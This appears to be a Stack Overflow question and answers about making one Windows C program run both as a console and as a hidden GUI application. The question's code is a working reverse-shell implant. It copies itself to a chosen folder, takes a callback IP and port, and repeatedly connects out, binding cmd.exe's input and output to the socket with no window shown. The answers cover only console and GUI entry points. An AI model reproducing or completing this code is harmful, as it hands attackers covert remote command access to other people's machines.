Brian Jarcus
Brian Jarcus

Reputation: 69

Win32 GUI application compiled as GUI need to use a console in C

I have a program that I am creating that has two sides of it. The main execution (script.exe -setup) will open a console and ask the user multiple questions and then set the answers to variables and make adjustments to the machine based on the answers. This is a simple console application and it works fine if compiled as a Console application.

The second part of the script (script.exe -socket 192.168.1.1:9000) will start a WinMain function that then calls a socket function. The reason I put the socket function inside the WinMain is so it does not display the 'cmd.exe' that CreateProcess calls. It was flashing the command prompt so I got rid of it by using the WinMain. This only works as intended if compiled as a Win32 application, but then I am unable to run the setup side of the script.

I understand that when compiled as a console application it starts with the (int main()) function which is why it works. And when compiled as a Win32 it starts with the (WinMain()) function. However, I just need the application to start at Main as a Win32 Application.

int main(int argc, char *argv[]) {
    char filePath[150];
    char fileName[30];
    int portNum;
    char ip[16];
    char socket[23];

    if (argc == 1) {
        printf("Usage: File.exe setup OR File.exe -s IP:PORT");
        exit(0);
    } else if (strcmp(argv[1], "setup") == 0) {
        printf("Doing Setup Stuff\n");
    } else if (strcmp(argv[1], "-socket") == 0){
        strncpy(socket, argv[2], 22);
        WinMain(0,0,socket,0);
        return 0;
    } else {
        printf("Usage: File.exe setup OR File.exe -socket IP:PORT");
        exit(0);
    }

    printf("Desired File Location. Example: C:\\Test\n");
    scanf("%149s", filePath);
    CheckDirectory(filePath);

    printf("\nDesired file name. Example: test.exe\n");
    scanf("%29s", fileName);
    getchar();
    CopyNewFile(filePath, fileName, argv[0]);

    printf("\nEnter callback IP:\n");
    scanf("%15s", ip);

    printf("\nEnter callback port:\n");
    scanf("%5d", &portNum);


    printf("Enter time in seconds for each callback: ");
    scanf("%10d", &secs);

    return 0;
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show) {
    char test[50];
    strncpy(test, cmdline, 49);
    char *ip = strtok(test, ":");
    char *port = strtok(NULL, ":");
    RunSocket(ip, port);
    return 0;
}

void CopyNewFile(char *dir, char *fname, char *curName) {
char fullDir[300];
char file[60];
sprintf(file,"%s", curName);
sprintf(fullDir, "%s\\%s", dir, fname);
if (CopyFile(file, fullDir, FALSE)) {
    printf("\nCopied new file!\n");
} else {
    printf("Did not copy!");
    }
}


void CheckDirectory(char *d) {
DIR* dir = opendir(d);
char answer[2];

if (dir) {
    printf("Directory Exists!\n");
    closedir(dir);
} else if (ENOENT == errno) {
    printf("Directory does not exist. Do you want to create this directory? Y/N: ");
    scanf("%s", answer);
    if (strcmp(answer, "y") == 0) {
        if (CreateDirectory(d, NULL)) {
            printf("Created Directory!\n");
        } else {
            printf("Error Creating Directory!");
            exit(1);
        }
    } else {
        printf("Closing Script!");
        exit(1);
    }
}
}

void RunSocket(char *a, char *b) {

    while(1) {

        WSADATA wsaData;
        SOCKET Winsock;
        struct sockaddr_in hax;
        char ip_addr[16];
        STARTUPINFO ini_processo;
        PROCESS_INFORMATION processo_info;

        WSAStartup(MAKEWORD(2,2), &wsaData);
        Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

        struct hostent *host;
        host = gethostbyname(a);
        strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));

        hax.sin_family = AF_INET;
        hax.sin_port = htons(atoi(b));
        hax.sin_addr.s_addr =inet_addr(ip_addr);

        WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);

        memset(&ini_processo, 0, sizeof(ini_processo));
        ini_processo.cb=sizeof(ini_processo);
        ini_processo.dwFlags=STARTF_USESTDHANDLES;
        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
        CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info);
        Sleep(15000);
        }
}

Upvotes: 1

Views: 958

Answers (2)

Anders
Anders

Reputation: 101569

There are only two differences between a CUI and a GUI PE application:

  • CreateProcess will create a new console window for a CUI application if the parent process does not already have one. This can be suppressed with the DETACHED_PROCESS flag.

  • Cmd.exe will wait for CUI applications, it will not wait for GUI applications unless you use start /wait.

main vs WinMain is controlled by your development environment, Windows (at the ABI level) just calls the (real) entry point function without any parameters. Your compiler provides the glue between this simple function and main/WinMain.

You can implement your own main from WinMain with CommandLineToArgvW and WinMain from main with FreeConsole+GetModuleHandle+GetCommandLine+GetStartupInfo.

  • If a briefly flashing console window killed by FreeConsole is unacceptable then you must create a GUI application.
  • If you want the application to act as a normal console application with stdin/stdout when started from cmd.exe then you must create a CUI application.

You can try to hack your way to both with a GUI application that calls AttachConsole+AllocConsole but the result is not perfect because cmd.exe does not wait before printing its next prompt and updating %errorlevel%.

To get the best of both worlds the best solution is actually to create two applications, "yourapp.com" and "yourapp.exe". The frontend application would just be a .exe renamed to .com and the server would be a .exe. This works because %PATHEXT% has .com before .exe.

Upvotes: 1

Paul Ogilvie
Paul Ogilvie

Reputation: 25266

It is either a Windows application and then WinMain is the user startup point, or is a console application and then main is the user startup point. You can of course call main from WinMain, or you can allocate a console for the functionality you normally perform from main.

The following allocates a console and sets up the standard file handles:

#ifndef _WIN32_WINNT
# define _WIN32_WINNT   0x0501
#endif
#include <windows.h>
#include <wincon.h>
#include <stdio.h>

int GetConsole(void)
{
    if (!AttachConsole(ATTACH_PARENT_PROCESS))
        if (!AllocConsole())
            return(0);

    _fileno(stdout)= _fileno(fopen("CON", "w"));
    _fileno(stdin) = _fileno(fopen("CON", "r"));
    _fileno(stderr)= _fileno(fopen("CON", "w"));
    return(1);
}

Upvotes: 5

Related Questions